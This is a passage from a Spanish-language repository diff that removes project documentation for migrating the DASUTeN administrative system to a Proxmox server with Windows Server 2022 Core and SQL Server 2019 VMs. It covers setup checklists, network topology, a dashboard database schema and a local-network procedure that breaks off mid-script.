- [x] **1.2:** Confirmar que las VMs originales (100, 101, 102) están apagadas ✅ (todas `stopped`).
- [x] **1.3:** Definir IDs y configuración de las nuevas VMs:
- VM 103: SQL Server (Windows Server 2022 Core) → DHCP del ISP
- VM 104: PC cliente (Windows 10 LTSC) → DHCP del ISP
- [x] **1.4:** Verificar ISOs disponibles ✅: `Windows_Server_2022_Core_Eval_x64.iso`, `Windows_10_enterprise_ltsc_2021_x64_dvd_es-es_*.iso`, `SW_DVD9_SQL_Svr_Enterprise_Edtn_2019*.ISO`, `virtio-win.iso`.
- [x] **1.5:** Verificar configuración bridge `vmbr0` ✅ → **HALLAZGO CRÍTICO**: vmbr0 configurado como estático `10.0.100.1/24` (red privada anterior). **Requiere reconfiguración a DHCP del ISP** antes de crear las VMs.
- [x] **1.6:** *(agregado)* Reconfigurar `vmbr0`: bridge sobre `enp33s0` con DHCP del ISP ✅. IP asignada: `192.168.1.13/24`, gateway `192.168.1.1`. Backup en `/etc/network/interfaces.bak.20260327-182319`. Aplicado con `ifreload -a` — Tailscale se reconectó automáticamente.
> ✅ **Resuelto**: `vmbr0` reconfigurado exitosamente. Las VMs conectadas a `vmbr0` ahora obtienen DHCP directo del ISP.
### ✅ **FASE 2: Creación de VM SQL Server (sin dominio)** *(completada 2026-03-28)*
- [x] **2.1:** Crear VM 103 en Proxmox ✅ (4 GB RAM, 2 vCPU, 60 GB disco SATA, vmbr0, SeaBIOS, i440fx). MAC: `BC:24:11:8D:EC:46`.
- [x] **2.2:** Instalar Windows Server 2022 Core ✅. Instalado vía consola noVNC. Drivers VirtIO instalados vía `pnputil /add-driver D:\*.inf /subdirs /install`. Red operativa (DHCP ISP). Credencial Admin guardada en candados (`dasu-sql2:Administrator`). Backup vzdump realizado (modo stop, zstd, 3.28 GB).
- [x] **2.3:** Configurar red: DHCP del ISP ✅. IP asignada: `192.168.1.19/24`, gateway `192.168.1.1`.
- [x] **2.4:** Configurar hostname (`dasu-sql2`) ✅ y modo Workgroup (WORKGROUP).
- [x] **2.5:** Instalar y habilitar OpenSSH Server (puerto 7022) ✅. Shell por defecto: PowerShell.
- [x] **2.6:** Instalar Tailscale VPN ✅. Cuenta `pcdasu0@frlr.utn.edu.ar`. IP Tailscale: `100.126.182.123`. ⚠️ Inestable: se desconecta al renombrar hostname, requiere `tailscale up --force-reauth`.
- [x] **2.7:** Instalar SQL Server 2019 ✅. Servicio MSSQLSERVER Running/Automatic. Instalado vía w-zombi relay LAN (socat srv-dasu:8001 → SSH tunnel → local:8000). Locale cambiado a es-ES para compatibilidad con ISO española.
- [x] **2.8:** Configurar autenticación mixta SQL ✅. LoginMode=2 (registro), SA habilitado con password, firewall TCP 1433 abierto. Login SA verificado con `sqlcmd`.
- [x] **2.9:** Verificar conectividad SQL ✅. TCP 1433 accesible desde srv-dasu (192.168.1.13) a dasu-sql2 (192.168.1.19). Login SA verificado localmente.
### ⏳ **FASE 3: Creación de VM PC Cliente (sin dominio)**
- [ ] **3.1:** Crear VM 104 en Proxmox (4 GB RAM, 2 vCPU, 50 GB disco SATA, vmbr0, SeaBIOS, i440fx).
- [ ] **3.2:** Instalar Windows 10 LTSC.
- [ ] **3.3:** Configurar red: **DHCP del ISP** (gateway del ISP). Anotar IP asignada.
- [ ] **3.4:** Configurar hostname (`dasu-pcv2`) y modo Workgroup.
- [ ] **3.5:** Instalar OpenSSH Server (puerto 7022).
- [ ] **3.6:** Instalar Tailscale VPN (cuenta `pcdasu0@frlr.utn.edu.ar`). Anotar IP Tailscale asignada.
- [ ] **3.7:** Instalar herramientas cliente SQL (SSMS o sqlcmd) si es necesario.
- [ ] **3.8:** Verificar conectividad hacia dasu-sql2 (ping + test TCP 1433).
### ⏳ **FASE 4: Instalación del Sistema DASUTEN**
- [ ] **4.1:** Obtener backup/script de la base de datos DASUTEN del sistema actual.
- [ ] **4.2:** Restaurar/crear la base de datos DASUTEN en dasu-sql2.
- [ ] **4.3:** Instalar la aplicación cliente DASUTEN en dasu-pcv2.
- [ ] **4.4:** Configurar la conexión de la aplicación al SQL Server usando autenticación SQL (no Windows Integrated).
- [ ] **4.5:** Verificar que la aplicación conecta y opera correctamente.
### ⏳ **FASE 5: Validación con PC física**
- [ ] **5.1:** Instalar la aplicación cliente DASUTEN en `dasu-pc` (PC física de la oficina).
- [ ] **5.2:** Configurar conexión al SQL Server (dasu-sql2) por IP.
- [ ] **5.3:** Ejecutar pruebas funcionales del sistema DASUTEN (consultas, altas, reportes).
- [ ] **5.4:** Documentar qué funcionalidades dependen del DC (si alguna) y cuáles operan sin él.
- [ ] **5.5:** Evaluar rendimiento y estabilidad.
- [ ] **5.6:** **Decisión**: ¿Se puede prescindir del DC para esta implementación?
- ✅ **SÍ** → Adoptar este enfoque como definitivo, descartar VMs con DC.
- ❌ **NO** → Reactivar VMs originales y retomar enfoque con DC.
---
## 🔄 Diferencias clave vs enfoque anterior
| Aspecto | Con DC (P2601.06-08) | Sin DC (P2601.09) |
|---------|----------------------|---------------------|
| **Red** | Privada 10.0.100.x (gw interno) | DHCP del ISP (gw del ISP) |
| **Autenticación SQL** | Windows Integrated (Kerberos) | SQL Auth (mixta) |
| **Usuarios** | Active Directory | Usuarios locales Windows |
| **DNS** | AD DNS (10.0.100.10) | DNS del ISP (automático) |
| **Complejidad de red** | Alta (DC + DNS + dominio + routing) | Mínima (red plana ISP) |
| **Puntos de falla** | DC, SQL, red dominio, routing | Solo SQL |
| **VMs necesarias** | 3 (DC + SQL + PC) | 2 (SQL + PC) |
## ⚠️ Consideraciones de red ISP
- Las IPs asignadas por DHCP del ISP pueden cambiar. Se recomienda **reservar IPs** en el router del ISP o documentar las IPs asignadas para referencia rápida.
- Todas las máquinas se ven entre sí directamente (misma LAN del ISP), lo cual simplifica la comunicación pero requiere que el firewall de Windows permita el tráfico SQL (puerto 1433).
- El acceso remoto a srv-dasu sigue siendo por **Tailscale** (independiente de la red local ISP).
## 📊 Recursos
| Recurso | Valor real |
|---------|-----------|
| **RAM total srv-dasu** | 15 GB |
| **RAM disponible** | 12 GB (10 GB libres + 3 GB cache) — VM 103 aún no consume (recién creada) |
| **RAM para nuevas VMs** | 8 GB (SQL 4GB + PC 4GB) → queda ~4 GB para host |
| **Disco total** | 94 GB (30 GB disponibles, 68% uso) — thin provisioned |
| **ISOs** | Win Server 2022 Core, Win 10 LTSC, SQL 2019, virtio-win |
| **Bridge vmbr0** | ✅ DHCP ISP sobre `enp33s0` — IP: `192.168.1.13/24` |
| **Gateway** | `192.168.1.1` (router ISP confirmado) |
## 🔗 Referencias
- **Proyecto padre**: [P2601_dasuten.md](P2601_dasuten.md)
- **Plan previo de red**: [P2601.06.01_Red-SrvDasu.md](P2601.06.01_Red-SrvDasu.md)
- **Plan previo integración**: [P2601.07.01_Integracion-DASU-PC.md](P2601.07.01_Integracion-DASU-PC.md)
- **Nodos**: [srv-dasu](../../../nodos/srv-dasu.md) | [srv-ns8](../../../nodos/srv-ns8.md)
docs/proy/P2601_Dasuten/P2601_dasuten.md
-159
View File
@@ -1,159 +0,0 @@
# P2601 - Proyecto DASUTEN
> Manifiesto de Proyecto | Referencia: [`adn/07_proyectos.md`](../../../adn/07_proyectos.md)
## Identificación
| Campo | Valor |
| :--- | :--- |
| **Código** | P2601 |
| **Nombre** | Infraestructura y Sistema DASUTEN |
| **Estado** | ⏳ En Ejecución |
| **Inicio** | 23/02/2026 |
| **Fin Estimado** | Por definir |
## Objetivo
**DASUTeN** (Departamento de Acción Social Universitaria Tecnológica Nacional) es la obra social de empleados, docentes y alumnos de la Universidad Tecnológica Nacional. Si bien cuenta con una oficina en la Facultad Regional La Rioja, depende directamente de su **sede central en el Rectorado (Buenos Aires)**.
Actualmente, el sistema de gestión administrativa de DASUTeN funciona dentro de los servidores de la Facultad. El objetivo de este proyecto es **migrar el sistema a un servidor independiente** (`srv-dasu`) aislado de la red académica, de modo que:
1. La **PC física de la oficina** (`dasu-pc`) consuma el sistema directamente desde el nuevo servidor.
2. La infraestructura quede **autocontenida** dentro de la oficina DASUTeN: una PC cliente + un servidor con sus VMs (DC, SQL, y a futuro posibles servicios adicionales).
3. Se logre **independencia operativa** respecto a los servidores de la Facultad, facilitando la gestión desde Rectorado si fuera necesario.
## Stakeholders
| Rol | Persona | Visibilidad |
| :--- | :--- | :--- |
| **Responsable Técnico** | Lic. Ricardo MONLA | Operador directo |
| **Dirección de TIC** | (Jerárquico superior) | Dashboard asíncrono |
## Dashboard
- **URL**: `https://ns8.frlr.utn.edu.ar/P2601/`
- **Tipo**: Aplicación web estática (HTML/JS/CSS) servida por Nginx.
- **Métricas**: Timeline de hitos, barras de progreso, desglose Físico/Remoto por hito.
- **Actualización**: Las métricas se alimentan de las etiquetas `[Físico/Remoto: H:MM hs]` parseadas de las bitácoras.
### Nodos Exclusivos (Core DASUTEN)
| Nodo | IP | Rol en el Proyecto |
| :--- | :--- | :--- |
| [**srv-dasu**](../../../nodos/srv-dasu.md) | `100.116.210.36` (Tailscale) | Hipervisor Proxmox VE (Libre de red académica) |
| [**dasu-srvv-dc**](../../../nodos/dasu-srvv-dc.md) (VM 100) | `10.0.100.10` | Controlador de Dominio AD DS + DNS |
| [**dasu-srvv-sql**](../../../nodos/dasu-srvv-sql.md) (VM 101) | `10.0.100.11` | Motor SQL Server 2019 (Core) |
| **dasu-pcv** (VM 102) | `10.0.100.12` | VM de pruebas (Win 10 LTSC) |
| [**dasu-pc**](../../../nodos/dasu-pc.md) | Oficina DASUTeN | PC física cliente (Plan A: SSH, Plan B: W-ZOMBI) |
### Nodos de Soporte e Infraestructura
| Nodo | IP | Rol en el Proyecto |
| :--- | :--- | :--- |
| [**srv-ns8**](../../../nodos/srv-ns8.md) | `10.0.10.8` | Gestión central, GIT y Dashboard |
## Herramientas
| Herramienta | Uso |
| :--- | :--- |
| **Proxmox VE 9.1** | Virtualización y gestión de VMs |
| **Windows Server 2022 Core** | SO base para DC y SQL |
| **SQL Server 2019** | Motor de base de datos relacional |
| **OpenSSH** | Administración remota nativa de VMs Windows |
| **VZDump** | Resguardos offline de VMs |
| **Dashboard P2601** | Panel web de seguimiento para stakeholders |
## Hitos Clave
| Fecha | ID | Estado | Hito |
| :--- | :--- | :---: | :--- |
| 23/02 | A00-A01 | ✅ | Acondicionamiento hardware e instalación de Proxmox VE en `srv-dasu`. |
| 23/02 | A05 | ✅ | Creación de VM Windows Server Core y descarga de ISO. |
| 24/02 | A05 | ✅ | Habilitación SVM en BIOS, instalación de OS, promoción a DC (`dasu-srvv-dc`, ex dc-dasuten). |
| 24/02 | A06 | ✅ | Despliegue del Dashboard P2601 con telemetría operativa. |
| 25/02 | DB01 | ✅ | Creación de VM `dasu-srvv-sql` (ex sql-dasuten), instalación de OS, integración al dominio e instalación de SQL Server 2019. |
| 26/02 | SSH | ✅ | Despliegue de OpenSSH Server nativo en ambas VMs Windows. |
| 26/02 | BKP | ✅ | Resguardo VZDump offline (stop mode) de DC y SQL. |
| 27/02 | ADN | ✅ | Refactorización del ADN a arquitectura multi-hebra con Armonía Integral. |
| 27/02 | TEST | ✅ | Despliegue de VM de pruebas Win 10 LTSC (pcv-dasu0). Descarga ISO, creación VM, instalación SO, SSH, toolkit W-Zombi refactorizado. |
| 27/02 | DOM | ✅ | Creación usuario `admindasu` (Domain Admin) y unión de pcv-dasu0 al dominio `dasuten.utnlr`. Login verificado. |
| 11/03 | P2601.06.01 | ✅ | Instalación física de srv-dasu en nueva red (DHCP + IPs estáticas 10.0.100.x). [Físico: 5:00 hs] |
| 18/03 | P2601.07.01 | ✅ | Integración final y renombramiento de `dasu-pc` (AD-Join + W-ZOMBI v2.0). |
| 25/03 | P2601.07.07 | ✅ | Topología Capa 2: Red local DASUTEN (vmbr0: 10.0.100.1, enp33s0: ISP 10.0.10.201, proxy-docker, Tailscale ONLINE). |
| — | P02 | 📍 | Instalación del sistema DASUTEN sobre el motor SQL. |
---
## Progreso
```
Fase 1: ██████████ 100% Infraestructura Base
Fase 2: ██████████ 100% Servicios (DC + SQL)
Fase 3: ██████████ 100% Gestión y Seguridad
Fase 4: ██████████ 100% Integración de Clientes
Fase 5: ██░░░░░░░░ 20% Despliegue de Sistema
```
---
## 🌐 Topología y Contexto de Red
### Topología Implementada (2026-03-25)
```
┌─────────────────────────────────────────────────────────────┐
│ INTERNET / ISP (Gateway: 10.0.10.1) │
└──────────────────────┬──────────────────────────────────────┘
│
↓
┌──────────────────────────────────────────────────────────────┐
│ srv-dasu (Proxmox VE) │
│ ├── enp33s0 (ISP): 10.0.10.201/24 → Gateway 10.0.10.1 │
│ └── vmbr0 (Red DASUTEN): 10.0.100.1/24 │
│ ├── VMs: .10 (DC), .11 (SQL), .12 (PCV) │
│ ├── proxy-docker (:3129) │
│ └── Link directo → srv-ns8 (10.0.100.8) │
└──────────────────────────────────────────────────────────────┘
```
**Regla de Acceso (Agentes e IA):** Todo el ecosistema central (dasu-srvv-dc, dasu-srvv-sql, dasu-pcv) transcurre en la **subred aislada `10.0.100.0/24`**.
**Vía Tailscale (Estándar):** El hipervisor `srv-dasu` (`100.112.46.104`) tiene instalado Tailscale y está **ONLINE**. Las VMs pueden ser alcanzadas directamente por sus IPs `10.0.100.x` a través de la VPN.
**Vía Local (Capa 2):** Conexión directa `srv-dasu` ↔ `srv-ns8` mediante cable Ethernet (enp33s0 ↔ enp37s0) en red `10.0.100.0/24`.
**Vía SSH Clásico:** En caso de no contar con acceso directo a la Subnet, es imperativo configurar un salto (ProxyJump) a través de `100.116.210.36`.
## Arquitectura de Red
```
┌────────────────────────────────────────────────────────┐
│ Red WAN Externa (Internet / Tailscale) │
│ │
│ srv-ns8 (10.0.10.8) srv-dasu (DHCP/DHCP) │
│ [Tailscale VPN] [Tailscale Subnet Router] │
│ └─────────────────────────┘ │
│ │ │
│ │ NAT/VPN Routing │
│ ▼ │
│ ┌──────────────┐ │
│ │ 10.0.100.x │ │
│ │ (Segmento │ │
│ │ DASUTEN) │ │
│ │ │ │
│ │ dasu-srvv-dc │ │
│ │ (.10) [AD DS]│ │
│ │ │ │
│ │ dasu-srvv-sql │ │
│ │ (.11) [SQL] │ │
│ │ │ │
│ │ dasu-pcv │ │
│ │ (.12) [Test] │ dasu-pc │
│ └──────────────┘ [Cliente] │
│ (AD-Join) │
└────────────────────────────────────────────────────────┘
```
## Referencias
- **ADN**: [Ontología](../../../adn/01_ontologia.md) | [Proyectos](../../../adn/07_proyectos.md)
- **Nodos**: [srv-dasu](../../../nodos/srv-dasu.md) | [srv-ns8](../../../nodos/srv-ns8.md)
- **Bitácoras**: Consultar en DB vía `./adn/tools/run db evento:listar`
docs/proy/P2601_Dasuten/_hist/260304-1959_dashboard_P2601_en_bitacoras.md
-80
View File
@@ -1,80 +0,0 @@
# Plan: Integración Dashboard P2601 en dtic-BITACORAs
> Fecha: 04/03/2026 19:59hs
> Proyecto: P2601 - DASUTEN
> Estado: **Aprobado — En ejecución**
## Objetivo
Integrar el panel de seguimiento del proyecto P2601 dentro del sistema dtic-BITACORAs:
- Accesible en `ns8.frlr.utn.edu.ar/bitacoras/p2601`
- Datos almacenados en PostgreSQL (mismo stack que dtic-BITACORAs)
- Discriminación de horas presenciales vs remotas por hito
- Identificación de fases del proyecto
## Esquema de Datos
### Nuevas tablas (esquema `bitacoras`)
```sql
CREATE TABLE bitacoras.proyectos (
id SERIAL PRIMARY KEY,
codigo VARCHAR(10) NOT NULL UNIQUE, -- 'P2601'
nombre VARCHAR(200) NOT NULL,
estado VARCHAR(10) DEFAULT '⏳',
descripcion TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
CREATE TABLE bitacoras.fases (
id SERIAL PRIMARY KEY,
proyecto_id INTEGER REFERENCES bitacoras.proyectos(id),
numero INTEGER NOT NULL,
nombre VARCHAR(200) NOT NULL,
estado VARCHAR(10) DEFAULT '⏳',
descripcion TEXT,
fecha_inicio DATE,
fecha_fin DATE,
UNIQUE(proyecto_id, numero)
);
CREATE TABLE bitacoras.hitos (
id SERIAL PRIMARY KEY,
fase_id INTEGER REFERENCES bitacoras.fases(id),
id_hito VARCHAR(20) NOT NULL, -- 'A00', 'SSH', 'P02.DB'
titulo VARCHAR(200) NOT NULL,
descripcion TEXT,
estado VARCHAR(10) DEFAULT '⏳',
fecha DATE,
horas_presencial NUMERIC(5,2) DEFAULT 0,
horas_remoto NUMERIC(5,2) DEFAULT 0,
nodo_id INTEGER REFERENCES bitacoras.nodos(id),
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
```
## Fases del proyecto P2601
| # | Fase | Descripción | Nodos | Estado |
|:--|:--|:--|:--|:--|
| 1 | Infraestructura Física | Preparación hardware srv-dasu + Proxmox VE 9.1 | srv-dasu | ✅ |
| 2 | Dominio y Directorio Activo | VM dc-dasuten, AD DS, DNS, dominio `dasuten.utnlr` | dc-dasuten | ✅ |
| 3 | Motor de Base de Datos | VM sql-dasuten, SQL Server 2019, backup y restore sysdasuten | sql-dasuten | ✅ |
| 4 | Acceso Remoto y Seguridad | OpenSSH 7022, w-zombi, firewall en todas las VMs | dc/sql/pcv-dasuten | ✅ |
| 5 | Sistema DASUTEN | Ingeniería inversa, deploy DasutenSQL.exe, Kermet.ini | pcv-dasu0, sql-dasuten | ⏳ |
| 6 | Cliente Final | Config pc-dasu0 en dominio, sistema productivo | pc-dasu0 | 📋 |
## Archivos a modificar/crear
| Acción | Archivo | Descripción |
|:--|:--|:--|
| MODIFY | `docker/init.sql` | Tablas proyectos, fases, hitos + datos semilla P2601 |
| NEW | `backend/src/routes/proyectos.js` | API CRUD /api/proyectos con métricas |
| MODIFY | `backend/src/server.js` | Registrar ruta proyectos |
| NEW | `frontend/src/pages/ProyectoDashboard.tsx` | Página React con timeline, fases y métricas |
| MODIFY | `frontend/src/App.tsx` | Ruta /bitacoras/p2601 |
## Verificación
- `curl` al endpoint `/api/proyectos/P2601`
- Navegador a `https://ns8.frlr.utn.edu.ar/bitacoras/p2601`
docs/proy/P2601_Dasuten/_hist/260305-0930_PruebasDasuten.md
-21
View File
@@ -1,21 +0,0 @@
# Plan de Pruebas: Sistema Dasuten (P02)
**Fecha/Hora:** 260305-0930
**Objetivo:** Confirmar el correcto funcionamiento y conectividad del entorno Dasuten.
## Fases de la Prueba
1. **Uso de Herramienta de Credenciales Secretas:**
- Modificar la herramienta `tools/ns8-candados` para que incluya instrucciones y explicación de uso en la cabecera.
- Ejecutar la herramienta `tools/ns8-candados` de manera que capture las credenciales requeridas en el entorno (o en una variable segura) sin exponer la salida (stdout) al flujo visible del chat, preservando la confidencialidad.
2. **Verificación de Acceso Base:**
- Confirmar acceso SSH al servidor principal `pcv-dasu0` utilizando las credenciales obtenidas.
- Validar estado general del sistema (uptime, uso de recursos básicos).
3. **Pruebas Funcionales Adicionales (A definir iterativamente):**
- *Se irán agregando puntos de prueba según el progreso y los resultados del acceso base.*
## Protocolo de Registro (Bitácora First)
- Todo paso debe ser previamente registrado en la bitácora del día correspondiente como iniciado.
- Tras concluir cada paso o iteración, actualizar el registro en la bitácora con los resultados (éxito/fallo y observaciones).
docs/proy/P2601_Dasuten/_hist/260305-1010_ContextoADN_Dasuten.md
-22
View File
@@ -1,22 +0,0 @@
# Plan de Implementación: Contexto en el ADN (Caso DASUTEN)
**Fecha**: 2026-03-05
**Objetivo**: Dotar a la IA y al proyecto de un protocolo estandarizado de "Auto-contextualización" sobre topología de redes, evitando operaciones ciegas (ej. Timeouts SSH en subredes NAT).
## Propuesta de Cambios
### Hebra: Directivas de la Inteligencia Artificial (`adn/05_ia.md`)
Agregaremos una nueva directiva `13. Auto-Contextualización`.
- **Regla:** Antes de iniciar pruebas de red o conexiones a nodos, la IA DEBE consultar el archivo del nodo (en la carpeta `nodos/`) y el proyecto asociado para comprender su ubicación en la topología (ej. si está detrás de un NAT, si requiere salto SSH, qué IP tiene).
- **Ejecución:** Evitar asunciones de visibilidad directa; mapear el contexto siempre.
### Hebra: Proyectos (`adn/07_proyectos.md`)
Añadir la sección obligatoria de "Topología / Contexto de Red" a los manifiestos de proyecto.
- **Topología Lógica / Contexto de Red:** Exige describir la ubicación de los nodos (ej: Red aislada, host físico, dependencias de NAT) para documentar y estandarizar el **CÓMO** llegar a ellos de forma técnica.
### Manifiesto: P2601 Dasuten (`proyectos/P2601_dasuten.md`)
Actualizar el manifiesto actual del proyecto Dasuten para reflejar esta nueva arquitectura de topología explícita.
- Añadir una sección `## 🌐 Topología y Contexto de Red` explicando que:
1. Todo el ecosistema Dasuten corre bajo `srv-dasu` (Standalone - 10.0.10.205).
2. Las VMs periféricas (pcv-dasu0, dc-dasuten, sql-dasuten) están en una subred aislada `10.0.100.0/24`.
3. **Regla de Acceso:** Para la intervención, es necesario un ruteo o ProxyJump a través de `10.0.10.205`.
docs/proy/P2601_Dasuten/_hist/260305-1017_Despliegue_runSysDasuten.md
-29
View File
@@ -1,29 +0,0 @@
# Plan de Acción: Despliegue y Prueba de DASUTEN en pcv-dasu0
**Fecha/Hora:** 260305-1017
**Artefacto:** `tools/w-zombi/payloads/runSysDasuten.zip`
**Objetivo:** Desplegar los binarios del sistema DASUTEN en la VM de pruebas (cliente Windows 10 LTSC) y verificar su conexión contra el motor SQL recién instalado en la fase DB01.
## Fases del Despliegue
### 1. Preparación y Transferencia
1. Obtener credenciales de `admindasu` desde `ns8-candados`.
2. Establecer túnel o salto SSH válido hacia la red `10.0.100.x` a través de `srv-dasu` (10.0.10.205).
3. Transferir el archivo `tools/w-zombi/payloads/runSysDasuten.zip` vía SCP al disco virtual de `pcv-dasu0` apuntando al **puerto SSH 7022** (ej. en `C:\Dasuten\`).
### 2. Descompresión y Configuración
1. Descomprimir el archivo ZIP en el cliente usando PowerShell remoting / SSH.
2. Localizar y editar el archivo de configuración `Kermet.ini`:
- Modificar la cadena de conexión de ODBC para `[SQLSERVER]`.
- Reemplazar `SERVER=srvFENIX` por el endpoint actual: `SERVER=sql-dasuten` (o la IP `10.0.100.11`).
### 3. Instalación de Dependencias
1. Instalar de forma automatizada las fuentes tipográficas necesarias de la carpeta `Fonts/` (códigos de barras Code39, I2OF5).
2. Ejecutar silenciosa/desatendidamente `InstaladorComponentesKermet.exe` para registrar librerías VFP/Kermet requeridas por el sistema en el cliente.
### 4. Pruebas de Verificación
1. **Red**: Realizar un `Test-NetConnection` o ping desde `pcv-dasu0` hacia el puerto TCP 1433 de `sql-dasuten` para garantizar que el firewall permite el tráfico SQL.
2. **Sistema GUI**: Invocar la apertura de `DasutenSQL.exe` (puede requerir verificación visual del usuario vía consola NoVNC de Proxmox o Anydesk/RDP). Se debe comprobar que se abre la pantalla de logon sin errores de conexión a la base de datos `sysdasuten`.
## Registro y Trazabilidad
- Todo evento de éxito/falla de red se registrará en la bitácora bajo la etiqueta `[P02]`.
docs/proy/P2601_Dasuten/_hist/260305-1300_Plan_Fase_6_Fisico_Dominio_GPO.md
-31
View File
@@ -1,31 +0,0 @@
# Fase 6 - DASUTEN: Despliegue Físico, Dominio y Seguridad Local
**Fecha:** 05/03/2026 - P2601 Proyecto Dasuten
## Objetivo
Habiendo superado la prueba de concepto (UAT) y verificado el funcionamiento del sistema en la red aislada `10.0.100.x` virtualizada bajo Proxmox, la siguiente fase consiste en **entregar la infraestructura a producción**.
Esto implica el traslado físico del equipamiento, la adhesión de las estaciones de trabajo de los usuarios al nuevo Active Directory (`dc-dasuten`), y la configuración de las políticas organizativas.
## Tareas a Realizar
### 1. Instalación Física (Hardware)
* **Servidor Proxmox (`srv-dasu`)**: Trasladar el host físico a la oficina de DASUTeN e instalarlo en su locación definitiva (gabinete/rack), asegurando energía ininterrumpida (UPS) y conectividad de red adecuada.
* **Estaciones de Trabajo (`pc-dasu0` y otras si las hay)**: Reconectar y asegurar la conectividad L2 (física/switch) hacia el puerto de red que ofrece acceso al servidor `srv-dasu`.
### 2. Integración de Red y Dominio
* **Configuración de Red Local**: Asegurar que la PC física tenga acceso a la red donde opera el controlador de dominio. Confirmar que su **DNS Primario** sea la IP de `dc-dasuten` (`10.0.100.10`).
* **Unión al Dominio**: Ingresar la PC `pc-dasu0` al dominio `dasuten.utnlr`.
* **Reasignación de Usuarios**: Mapear/Migrar los perfiles y datos del usuario local que usaba Andrea Almirón hacia su nueva cuenta de dominio.
### 3. Seguridad y GPOs (Group Policy Objects)
* **Restricción de Acceso**: Configurar GPOs para prohibir la instalación de software no autorizado por los usuarios estándar de DASUTeN.
* **Unidades de Red**: Despliegue automático de mapeos de red necesarios (si la aplicación requiere una letra de unidad específica o para almacenamiento compartido) mediante GPO.
* **Restricciones de Explorador**: Ocultar u restringir acceso a la unidad C:\ y recursos sensibles.
* **Políticas de Contraseñas**: Asegurar rotación o longitud mínima para los usuarios del dominio.
### 4. Revisión Final de Aplicaciones
* Distribuir el conjunto de accesos directos del sistema Dasuten (`DasutenSQL.exe`) al escritorio de todos los usuarios mediante GPO.
* Verificar que la conexión ODBC/Kermet funciona bajo el contexto de seguridad del usuario de dominio sin requerir elevación de privilegios.
## Siguientes Pasos (IA)
Una vez que el usuario informe que el equipo fue trasladado y encendido en su nueva locación, la IA asistirá vía Tailscale / AnyDesk (o conexiones remotas establecidas) con la configuración de las Políticas de Seguridad (GPOs) y las uniones de dominio.
docs/proy/P2601_Dasuten/proc/P2601.06.02_Comunicacion-Directa-Local.md
-685
View File
@@ -1,685 +0,0 @@
# [PROC-2601-6.1.B] - Procedimiento de Comunicación Directa Local entre srv-dasu y pc-dasu0
## 1. Identificación y Objetivo
- **ID**: `PROC-2601-6.1.B`
- **Responsable**: Administrador de Infraestructura / Usuario Autorizado
- **Objetivo**: Establecer comunicación de red directa local entre `srv-dasu` (hypervisor Proxmox) y `pc-dasu0` (PC física) cuando ambos dispositivos comparten el mismo router ISP en la oficina DASUTeN, optimizando el rendimiento y reduciendo la dependencia de Tailscale para operaciones locales.
- **Frecuencia**: Manual / Bajo Demanda (cuando ambos dispositivos están en la misma red física)
## 2. Alcance y Prerrequisitos
- **Nodos Afectados**:
- `srv-dasu` (Hypervisor Proxmox VE - IP: 10.0.10.205 / Tailscale: 100.116.210.36)
- `pc-dasu0` (PC física Windows 10 - Tailscale: 100.65.62.44)
- `dc-dasuten` (VM 100 - Controlador de Dominio - IP: 10.0.100.10)
- **Sistemas**: Linux (Proxmox/Debian), Windows 10, Windows Server Core
- **Prerrequisitos**:
- [ ] Acceso SSH a `srv-dasu` con privilegios sudo
- [ ] Acceso administrativo a `pc-dasu0` (local o remoto)
- [ ] Ambos dispositivos conectados al mismo router ISP en oficina DASUTeN
- [ ] Tailscale operativo en ambos dispositivos (para failover)
- [ ] Backup previo de configuraciones de red
## 3. Flujo de Tareas (Ejecución)
Este flujo debe seguirse secuencialmente. Utilizar iconos de estado según el `adn/02_protocolo.md`.
| Paso | Tarea | Estado | Notas |
| :--- | :--- | :---: | :--- |
| 1 | **Diagnóstico de Topología de Red Local** | 📍 | Identificar configuración actual del router ISP |
| 2 | **Configuración de IPs Locales en srv-dasu** | ⏳ | Asignar IP local en subred del router |
| 3 | **Configuración de IP Local en pc-dasu0** | ⏳ | Asignar IP en misma subred |
| 4 | **Pruebas de Conectividad Básica** | ⏳ | Verificar ping bidireccional |
| 5 | **Configuración de DNS Local** | ⏳ | Apuntar a dc-dasuten via ruta local |
| 6 | **Validación de AD-Join** | ⏳ | Probar resolución de dominio |
| 7 | **Configuración de Failover Tailscale** | ⏳ | Mantener ruta Tailscale como backup |
| 8 | **Scripts de Validación Automática** | ⏳ | Crear e instalar herramientas de monitoreo |
### 3.1 Paso 1: Diagnóstico de Topología de Red Local
**Objetivo**: Determinar la subred local asignada por el router ISP.
**Procedimiento en pc-dasu0 (Windows):**
```powershell
# Obtener configuración IP actual
ipconfig /all
# Identificar:
# - Dirección IP asignada por DHCP
# - Máscara de subred
# - Gateway predeterminado
# - Servidores DNS
# Determinar rango de subred completa
$ipInfo = Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -like "*Ethernet*"}
$subnetMask = $ipInfo.PrefixLength
$ipAddress = $ipInfo.IPAddress
$gateway = (Get-NetRoute -DestinationPrefix "0.0.0.0/0" -AddressFamily IPv4).NextHop
# Calcular subred
$subnet = [System.Net.IPAddress]::Parse($ipAddress).GetAddressBytes()
$mask = [System.Net.IPAddress]::Parse(([System.Net.IPAddress]::Parse("255.255.255.255").GetAddressBytes() | ForEach-Object {$_ -shl (32-$subnetMask)}))
$network = [System.Net.IPAddress]::new(($subnet | ForEach-Object {$_ -band $mask.GetAddressBytes()[$i]; $i++}))
Write-Host "Subred detectada: $network/$subnetMask"
Write-Host "Gateway: $gateway"
Write-Host "IP Local: $ipAddress"
# Escanear dispositivos en la red local
arp -a | Select-String "dynamic" | ForEach-Object {
$_.ToString().Split()[0]
} | Select-Object -First 10
```
**Procedimiento en srv-dasu (Linux via SSH):**
```bash
# Conectarse a srv-dasu via Tailscale
ssh -J root@100.116.210.36 rmonla@10.0.100.1
# Ver configuración de red actual
echo "=== Configuración de Interfaces ==="
ip addr show vmbr0
echo ""
echo "=== Tabla de Rutas ==="
ip route show
echo ""
echo "=== Información DHCP (si aplica) ==="
cat /var/lib/dhcp/dhclient.leases 2>/dev/null | grep -A5 -B5 "interface.*vmbr0" || echo "No hay leases DHCP disponibles"
echo ""
# Detectar gateway local automáticamente
GATEWAY=$(ip route show default | awk '/default/ {print $3}')
if [ -n "$GATEWAY" ]; then
echo "Gateway detectado: $GATEWAY"
echo "=== Probando conectividad a gateway ==="
ping -c 4 $GATEWAY
# Determinar subred del gateway
SUBNET=$(ip route show | grep "link src" | awk '{print $1}' | head -1)
if [ -n "$SUBNET" ]; then
echo "Subred detectada: $SUBNET"
